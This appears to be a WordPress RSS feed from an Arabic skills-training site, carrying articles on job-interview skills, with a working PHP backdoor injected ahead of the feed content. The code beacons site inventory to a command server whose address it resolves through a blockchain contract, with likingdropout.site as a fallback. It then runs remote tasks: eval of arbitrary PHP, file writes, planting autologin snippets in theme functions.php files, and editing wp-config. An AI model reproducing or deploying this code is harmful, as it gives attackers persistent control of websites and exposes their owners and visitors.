// 1h_1p if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php', 'ctrl'=>'// 1h_1p', 'vis'=>'// st_3y', 'vis_func'=>'wp_dg1657', 'vis_paths'=>array('/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php'), 'opt'=>'_wp_7hsqajid', ); $keys=array(); $keys['id']='fj1'; $keys['ver']='1q'; $keys['caps']='tle'; $keys['tasks']='l7z'; $keys['interval']='bbw'; $keys['ack_id']='cxz'; $keys['ok']='9w'; $keys['detail']='voi'; $keys['inv']='5jq'; $keys['result']='f34'; $hdr='X-B1W-Auth';$tok='XedrlORYVlRrR6u98I3prggq7ZR1j5tnIRsfGTzBTyM';$id='5394ed6b3f3ab399';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); التوظيف Archives - CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات موسوعة مركز كيم لتنمية المهارات و القدرات Tue, 01 Aug 2023 12:09:01 +0000 ar hourly 1 https://wordpress.org/?v=6.3.12 سلسلة مقالات – مهارات اجراء المقابلات- بقلم د/محمود الضابط – المقالة الثالثة https://cameknowledge.camecenter.com/articles/interview_skills-3/ https://cameknowledge.camecenter.com/articles/interview_skills-3/#respond Sat, 08 Apr 2023 13:10:02 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10450 سلسلة مقالات – مهارات اجراء المقابلات بقلم د/ محمود الضابط   المقالة الثالثة الأسئلة المعتادة: هناك بعض الأسئلة المألوفة والتي غالباً ما يتم السؤال عنها خلال المقابلة يجب أن تعرفها وتتدرب على الإجابة عليها مثل :- – لماذا تريد أن تعمل في شركتنا أو لماذا التحقت بهذا العمل ؟ الهدف من هذا السؤال هو معرفة مدى […]

The post سلسلة مقالات – مهارات اجراء المقابلات- بقلم د/محمود الضابط – المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – مهارات اجراء المقابلات

بقلم د/ محمود الضابط  

المقالة الثالثة

الأسئلة المعتادة:
هناك بعض الأسئلة المألوفة والتي غالباً ما يتم السؤال عنها خلال المقابلة يجب أن تعرفها وتتدرب على الإجابة عليها مثل :-
– لماذا تريد أن تعمل في شركتنا أو لماذا التحقت بهذا العمل ؟
الهدف من هذا السؤال هو معرفة مدى حرصك على هذه الوظيفة وإمكاناتك للفوز بها
حاول أن تبرز المعلومات التي حصلت عليها والمتعلقة بالشركة والمهارات التي تكتسبها والمزايا التي ستحصل عليها الشركة من عملك بها، واحذر أن تذكر انك ترغب في تحسين دخلك أو أن الرواتب لديكم مرتفعة …الخ

– تحدث عن نفسك ومواهبك و هواياتك؟
الهدف من السؤال كما ترى هو معرفة كيف ترى نفسك وبالتالي كيف تتوقع أن يراك الآخر
استخدم عبارات موجزة للوصف نفسك والتعبير عن قدراتك وخبراتك العلمية والعملية والمهارات الخاصة والهوايات ( لاحظ أن بعض الهوايات لها دلالات معينة مثل القراءة أو لعب الشطرنج أو الموسيقى  .)

أين عملت قبل ذلك ؟
الهدف من السؤال التعرف على خبراتك السابقة وقدراتك الخاصة , حاول أن تذكر الأعمال ذات العلاقة الوثيقة بالوظيفة التي تتقدم لها أولاً فهي تعطى انطباع جيد.

 

هل عملت أثناء الدراسة ولماذا؟
هدف السؤال هو معرفة الدوافع الحقيقية التي جعلتك تعمل أثناء الدراسة وهل هي دوافع مادية بحتة أم دوافع عملية كاكتساب الخبرة والمهارة .

ما هو الراتب الذي كنت تحصل عليه من عملك السابق ؟
يهدف هذا السؤال إلى التعرف على وضعك المادي في العمل السابق مقارنة إجاباتك بأسباب تركك للعمل واكتشاف التناقض بينهما كن أمينا وصادقاً دائماً .

لماذا تركت عملك السابق ؟
من أهم الأسئلة التي تتعرض لها والهدف منه التعرف على ما إذا كانت هناك مشاكل وجدتها في عملك السابق وكيف تعاملت معها، كن صادقاً في تحديد الأسباب وركز على أسبابك المتعلقة بالطموحات مثل عدم وجود فرصة للترقي، ولا مانع من أن تذكر أسباباً عامة.

كيف تعرفت على الوظيفة المعلن عنها ؟
يهدف هذا السؤال إلى معرفة مدى اهتمامك بالحصول على العمل هل عرفت بالصدفة أم من صديق أم من متابعة أخبار الشركة في وسائل الإعلام أو غير ذلك و هنا تبرز أهمية المعلومات التي قمت بجمعها عن الشركة .

 

ما هو الراتب الذي تريد الحصول عليه من العمل معنا؟
حاول ألا تجيب على هذا السؤال بشكل مباشر بل اجتهد لتحصل أنت على إجابته من صاحب العمل كأن تسأله عن الراتب الذي يتقاضاه أفضل الموظفين لديه أو أن تسعى في البحث عن متوسطات الرواتب في الوظائف المشابهة ثم حدد مدى أو متوسط يمكن أن يتحرك فيه المرتب المنتظر ولا تتجاوز في توقع المرتب.(لاحظ أن هذا السؤال ذو حدين فلو توقعت مرتباً منخفضاً قد تحرم نفسك من مرتب أعلى قد تمنحه لك الشركة أما إذا توقعت راتباً مبالغاً فيه فقد يصرف اهتمام صاحب العمل عنك لوجود هوة واسعة بين ما تتوقعه وما ستحصل عليه.


أسئلة تريد الاستفسار عنها :

      حاول أن تدون الأسئلة التي ترغب في سؤال صاحب العمل الجديد عنها أثناء المقابلة الشخصية في مفكرة جانبية، ولا تسال عنها قبل أن ينهى هو الحديث وتحاشى الأسئلة السلبية كان تسال عن إمكانية الانتقال إلى فرع آخر أو إمكانية العمل أيام العطلات.

 

نماذج للأسئلة :
هل تقومون بإعداد برنامج تريبي للموظفين الجدد؟
ما المدة التي يستغرقها هذا البرنامج ؟
ما المهام الوظيفية التي سيقوم بها من يحصل على هذه الوظيفة ؟
ما فرص الترقي الموجودة لديكم؟
ماذا يمكن أن أكون بعد مرور خمس سنوات على في العمل ؟

 

 

الخلاصة

  • إن نجاح أعمال الشركات و أرباحها و إنجازاتها ليست إلا التعبير العملي و الفعلي لأداء موظفيها و عمالها.
  • إن امتلكت أفضل المعدات وأحدث البرامج، لن تصل إلى التميز دون وجود العنصر البشري المهم، هذا العنصر القادر على تطوير وظيفته و على إدخال أساليب حديثة في تنفيذه لمهماته .
  • لم نعد في عصر يتطلب وجود صف واحد من الموظفين المتميزين و هم المدراء أو المسؤولون، أما البقية فهم عمال منفذون لا يعرفون إلا تنفيذ الأوامر المتجهة من الأعلى إلى الأسفل بل يتطلب هذا العصر تساوي و تقابل بين الوظيفة و الفرد و بتالي كلما كان التقابل و التوازن موجود بين ما تتطلبه كل وظيفة و كفاءة الموظف نستطيع الاقتراب من تحقيق الأداء الأمثل و جودة تأدية العمل .
  • إن اختيار الموظفين بطريقة علمية موضوعية هو خطوة أساسية على طريق النجاح، لأن هؤلاء الموظفين هم أنفسهم من سيعملون على تحقيق أهداف الشركة و سيعملون على تمثيلها وتحويل ما هو موجود على أجهزة الكمبيوتر و الأوراق إلى إنتاج مادي ملموس.

***

انتهت بحمد الله مقالات مسار كيم التعليمي لمهارات اجراء المقابلات

بقلم د/ محمود الضابط  

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – مهارات اجراء المقابلات- بقلم د/محمود الضابط – المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/interview_skills-3/feed/ 0 سلسلة مقالات – مهارات اجراء المقابلات- بقلم د/محمود الضابط – المقالة الثانية https://cameknowledge.camecenter.com/articles/interview_skills-2/ https://cameknowledge.camecenter.com/articles/interview_skills-2/#respond Sat, 08 Apr 2023 13:05:46 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10448 سلسلة مقالات – مهارات اجراء المقابلات بقلم د/ محمود الضابط   المقالة الثانية مراحل وخطوات إجراء مقابلات التوظيف:      هناك عدة تقسيمات للمقابلات بعضها بشكل مجمل، وبعضها أكثر تفصيلاً لإبراز أهمية التفصيلات منها: التحضير لإجراء مقابلات التوظيف. افتتاح مقابلات التوظيف. تسيير مقابلة التوظيف. اختتام مقابلة التوظيف وتدوين الملاحظات. تقييم نتائج مقابلات التوظيف. ( غطاس 1997م […]

The post سلسلة مقالات – مهارات اجراء المقابلات- بقلم د/محمود الضابط – المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – مهارات اجراء المقابلات

بقلم د/ محمود الضابط  

المقالة الثانية

  • مراحل وخطوات إجراء مقابلات التوظيف:

     هناك عدة تقسيمات للمقابلات بعضها بشكل مجمل، وبعضها أكثر تفصيلاً لإبراز أهمية التفصيلات منها:

  • التحضير لإجراء مقابلات التوظيف.
  • افتتاح مقابلات التوظيف.
  • تسيير مقابلة التوظيف.
  • اختتام مقابلة التوظيف وتدوين الملاحظات.
  • تقييم نتائج مقابلات التوظيف. ( غطاس 1997م ).

هذا نوع من التقسيم لا يُخالف التقسيم التالي :

 

مراحل المقابلة :

 هناك ثلاث مراحل أساسية للمقابلة وهي :

  • مرحلة ما قبل المقابلة.
  • مرحلة تنفيذ المقابلة.
  • مرحلة ما بعد المقابلة.

 

  • مرحلة ما قبل المقابلة :

  ينبغي الإعداد والتخطيط لها بصورة مناسبة وتوفير ما يلزم لنجاحها مثل:

تحديد نوع المقابلات ( هل هي منتظمة موجهة،أو شبه منتظمة، أو غير منتظمة،أو مفتوحة ) وعددها (قد تكون مقابلة أولية للفرز ، رئيسية ، نهائية، أو يُكتفى بواحدة) ،مع كل مرشح ومن سيتولى إجراءها، وهل هو فرد واحد أو لجنة، علماً أن اللجنة أفضل من ناحية صدق المقابلة، والبُعد عن التحيز ، وتختلف حسب حجم المنظمة وأهمية الوظيفة ، وينبغي أن يكون المقابِل متدرباً على إعداد الأسئلة،والطرح، ومهارات الاتصال الشخصية،وكيفية تدوين الملاحظات أثناء المقابلة،واستخدام مقاييس التقويم،والحذر من أخطاء (تأثير الهالة، وتأثير التساهل…)، ( رشيد  1425هـ) .

ويفترض في الذي يُجري المقابلة :

  • اللباقة والفطنة والبداهة الفكرية واللغوية ،وطول النفس، وحُسن التعامل(براك 2004)
  • استعداد المسئول عن إجراء المقابلة بمعرفة مهام ومواصفات الوظيفة لكي يتم طرح الأسئلة المناسبة على المرشح ، ويطلع على إعلان الوظائف وطريقته والشروط المطلوبة في الإعلان ، ويُحدد مواصفات المرشح الأنسب لشغلها سواءً من مؤهلات دراسية ،أو تدريب ، أو خبرات سابقة ، أو مهارات أو لغات…،و سلم الدرجات والرواتب والمزايا الأخرى…
  • تنظيم وتحديد زمان ومكان المقابلة وتهيئة المكان لإجراء المقابلة، الكراسي ، وضعية ومكان الجلوس للمقابل والمرشح ، وقاعة الانتظار إذا كان العدد كبيراً، ووضع نشرات إعلامية عن المؤسسة، وإبلاغ المرشح بالزمان والمكان.
  • مراجعة وتقييم طلبات التوظيف، استعراض السيرة الذاتية لطالب الوظيفة.
  • وقبل المقابلة مباشرة يُحاول حفظ اسم المرشح ومعلوماته والأسئلة التي يسألها.
  • يُحدد المدة الزمنية لكل مقابلة ( ليس هناك وقت محدد، حسب أهميتها) وكثرة المتقدمين وتوزيع الوقت بينهم.(غطاس. 1997م)

 

  • مرحلة إجراء المقابلة:
  • يجب تهيئة الجو العام ، وإزالة التوتر النفسي للمتقدم، عن طريق تحيته والترحيب به بأسلوب ودي والبدء بموضوع بعيد عن موضوع المقابلة.
  • عرض خطة المقابلة على المرشح (تشمل هدفها،موقعها في المقابلات الأخرى، وقت المقابلة تقريباً، المواضيع التي سيتم تغطيتها) إذا لم تكن المقابلة مفتوحة.
  • يجب إتاحة الفرصة للمتقدم بالحديث عن نفسه وتجاربه.
  • استكمال المعلومات الناقصة من طلب الوظيفة ( لا بد من الاطلاع على الطلبات قبل اللقاء
  • يجب أن يسيطر على المقابلة (لا يتنازل عن دوره في إدارتها ،منذ الافتتاح وحتى النهاية) وليس معنى السيطرة الشدة أو الاستئثار بالحديث ، بل يوجه المقابلة إلى مسارها الصحيح وفق خطة المقابلة التي حددها.
  • يكون نسبة الحديث 50% لكل منهما، والبعض قال 80% أو تقريباً للمرشح ليتم معرفة كل ما لديه ثم الحكم بناءً على ما يعرض.
  • يتبع أسلوب موحد مع جميع المرشحين ، حسب ما خطط له هل الأسئلة موجهة أم مفتوحة…
  • الأسئلة تحث على الصراحة .
  • واضحة بلا غموض لا تحتمل أكثر من معنى.
  • مناسبة لمستوى المتقدم، لا يكون جوابها بنعم ، ولا.
  • لا تكون الأسئلة توحي بالجواب، ألا ترى ، أليس من الأفضل…
  • الحرص على الإصغاء لما يقوله.
  • يحرص على تسجيل معلومات كاملة وملاحظات المقابلة، لا يعتمد على الذاكرة لأنه ينسى مع تعدد المقابلات.
  • وهناك أسلوب لتدوين الملاحظات:
  • يجب تدوين الملاحظات الضرورية باختصار وهذا يتطلب خبرة وتعلم .
  • يجب أن لا يلجأ إلى التدوين بصورة فجائية وملفتة خاصة إذا كان المرشح قد أخطأ أو تلعثم، بل يجعلها في فترة قصيرة خلال التوقف بين الأسئلة.
  • ويجب الحذر من العوامل المؤثرة على صدق وثبات المقابلة مثل:
  • عدم ارتباط مضمون المقابلة بمحتوى العمل ، لكي نتنبأ بالنجاح في أداء العمل.
  • التأثر بالعوامل غير الموضوعية مثل: التأثر بمهارات الاتصال الشخصية،والمظهر الخارجي….، والملاحظ أن هناك مهارات يتعلمها المتقدمون للمقابلات الشخصية وهي علم متكامل وله إرشادات ، كيف يُسوق المرء لنفسه، كيف يجذب الانتباه، كيف يتقن مهارات الاتصال فيكون المقابل على وعي بها ، وأخذها في الاعتبار عند إجراء المقابلة.
  • التحيزات الشخصية لدى المقابل التي تؤدي إلى الحكم على المقابل لعوامل منها: جنس المتقدم، عرقه، عمره، والحذر من التمييز ، وهناك دول تُجرم هذه الطريقة.
  • التنميط: بإعطاء أحكام مسبقة عن الأفراد الذين ينتمون إلى جماعات أو فئات أو جهة، أو جيل .
  • التركيز على الجوانب السلبية وإعطائها وزناً أكبر من الإيجابية أو العكس.
  • تأثيرات التضاد : فإذا جاء متقدم سيئ الأداء قبل متوسط الأداء فإنه يُعطيه درجه أعلى مما لو سبقه أشخاص متميزون.

 

إنهاء المقابلة: 

يعتمد إنهاءها على المهارة كما هي بدايتها، من هذه المهارات:

  • ينبغي أن لا تُقطع بصورة فجائية حتى ولو اتضح أن الشخص لا يملك المقومات الأساسية .
  • يُسأل المرشح هل لديه ما يود إضافته، وإتاحة الفرصة له لطرح ما لديه من استفسارات.
  • وكذلك يتم التأكد من استمرار المرشح من اهتمامه بالوظيفة، فقد يتضح له معلومات تجعله يصرف النظر عن الوظيفة أو يقل حماسه لها.
  • إبلاغ المرشح بالمراحل المتبقية من عملية الاختيار: يُحدد له التأريخ التقريبي لإعلامه بالنتيجة.
  • يتم شكره بأسلوب لبق ومهذب ، ثم توديعه بطريقة لائقة، ربما يخرج معه إلى باب القاعة.

 

  • مرحلة ما بعد المقابلة ( تقويم المرشح):

    بعد نهاية المقابلة ومغادرة المرشح يتم تقويم أداءه في المقابلة مباشرة لأن المعلومات حاضرة في ذهن أعضاء اللجنة.

يُفترض أن يشمل التقويم :

  • العناصر المتعلقة بالوظيفة مثل اهتمامه بالمؤسسة والوظيفة، المؤهل العلمي،التدريب….
  • والعناصر المتعلقة بالصفات الشخصية، الحزم، الذكاء، المنطق، الانفتاح، الطموح، اللباقة،الاتزان، المظهر، مهارات التواصل مع الآخرين….
  • تختلف الحاجة لبعض هذه الصفات في بعض الوظائف، حسب نوع الوظيفة…
  • يستحسن أن يكون التقويم فردي من كل عضو، ثم مناقشة تقويمهم بشكل جماعي ، يُنظر للملاحظات التي قيدت أثناء المقابلة، يتم استخدام نموذج يقيس أبعاداً معينة مثل مهارات الاتصال ، المهارة في التخطيط ، مهارات القيادة، وهكذا…

 

التأكد من المصادر الأخرى: 

     بغرض التحقق من المعلومات التي تم الحصول عليها من المتقدم لشغل الوظيفة ، كما تعتبر أحد أهم نُظم التوظيف في المنظمات الحديثة ، وتتضمن الاتصال بجهات العمل السابقة للسؤال عن مستوى أدائه، وسلوكياته، ومبررات تركه للعمل ،لأن الأداء المستقبلي يمثل امتداد للأداء السابق.

ومن المنطق الحصول على أكبر قدر من المعلومات حول المرشحين لأن الفشل في ذلك قد يترتب عليه آثار سيئة بالنسبة للمنظمة (المسلم 2005م).  

 

إبلاغ المرشحين بنتائج التقييم:

    نظراً لأن كل مرشح سيبقى ينتظر نتائج المقابلة ويرغب معرفة هل تم اختياره أم لا فإن من اللائق أن تقوم المؤسسة بإعلام جميع المرشحين الذين تمت مقابلتهم بنتائج التقييم ليكون على بينة من أمره، ومن الضروري مراعاة الآتي:

  • إبلاغ المرشح الذي تم اختياره بأقصى سرعة قبل أن يوقع عقداً مع مؤسسة أخرى، خاصة إذا كان متميزاً.
  • الاتفاق مع المرشح الذي تم اختياره وتوقيع العقد معه قبل الاتصال ببقية المرشحين الذين لم يتم اختيارهم.
  • الاتصال بالمرشحين الذين لم يتم اختيارهم لإبلاغهم بذلك.
  • عدم الاستفاضة في حال إبلاغهم كتابياً أو شفوياً ، في تبرير عدم اختيار المرشح المرفوض
  • صياغة طريقة الإبلاغ سواءً شفوياً أو تحريرياً،بطريقة تحفظ نوعاً من العلاقة مع المرشح خاصة إذا حصل على نسبة جيدة فربما يتم اللجوء إليه مستقبلاً.
  • عدم تقديم وعود بالتوظيف (غطاس1997م).

أظهرت دراسات علمية أن أهم عوامل ضعف المقابلات : تحيز المقابل،حكم المقابل على المتقدم بناءً على انطباعه عن فترة بداية المقابلة وليس عن المقابلة كلها.عدم الإنصات أثناء المقابلة، قصر وقت المقابلة، عدم التخطيط والتجهيز للمقابلة.

ما هو الواقع الحالي لمقابلات التوظيف؟

يوجد تطبيقات للمقابلات سواءً في الخدمة المدنية ،أو في القطاع الخاص.

في نظام الخدمة المدنية:المسابقات الوظيفية في المرتبة العاشرة فما دون ترسلها الجهة الحكومية إلى وزارة الخدمة المدنية وفق حاجتها، وتتضمن عقد امتحان أو مقابلة شخصية للمتقدمين للوظائف المعلن عنها. كذلك كثيراً ما يتم إتباع أسلوب المقابلة في وظائف التعليم العام أو أعضاء هيئة التدريس والأطباء، أو بعض الوظائف المستثناة مثل موظفي هيئات الأمر بالمعروف والنهي عن المنكر.ويتوقف زمن المقابلة ومحتواها على نوعية الوظائف المطلوب شغلها، وقد أعدت الإدارة العامة للتوظيف والامتحان بوزارة الخدمة المدنية نموذجاً خاصاً للمقابلات الشخصية، وأبرز ما فيه أنه يحوي وصفاً للوظيفة التي تتم المقابلة بشأنها، وأما المرتبة الخامسة فما دون فقد فوضت صلاحية التعيين للوزير المختص وفق ضوابط محددة ، وقد تُجرى مقابلات وظيفية تُعدها الجهة .(رشيد.مازن فارس 1425هـ).

 

  • المقابلة من وجهة نظر المتقدم لشغل الوظيفة (وجهة النظر الأخرى):

تعتبر المقابلة الشخصية بحق هي الخطوة الأهم لكي تحصل على وظيفة مناسبة بشرط أن يسبقها كتابة سيرة ذاتية بشكل يلفت انتباه صاحب العمل مما يجعله يرشحك للمقابلة الشخصية؛ فاحرص دائماً على أن تكون الأفضل ولا تخشى المنافسة مهما كانت ويكفيك أن تخوض التجربة .

أنواع المقابلات الشخصية :

المقابلة الشخصية الفردية:

وفيها يكون اللقاء بين صاحب العمل وطالب العمل مباشراً ووجهاً لوجه والهدف من هذه الطريقة هو التعرف عن قرب على القدرات التي يمتلكها الفرد وعليك لكي تنجح في هذه المقابلة أن تنصت جيداً لمحدثك وتتعرف أكثر على طريقته وأسلوبه وحاول أن توجد نوع من الألفة والود بينك وبين محدثك الذي سريعاً ما سيشعر برغبتك هذه ويعينك عليها خاصة إذا ما حاولت أن تحاكيه.

المقابلة الشخصية الجماعية:
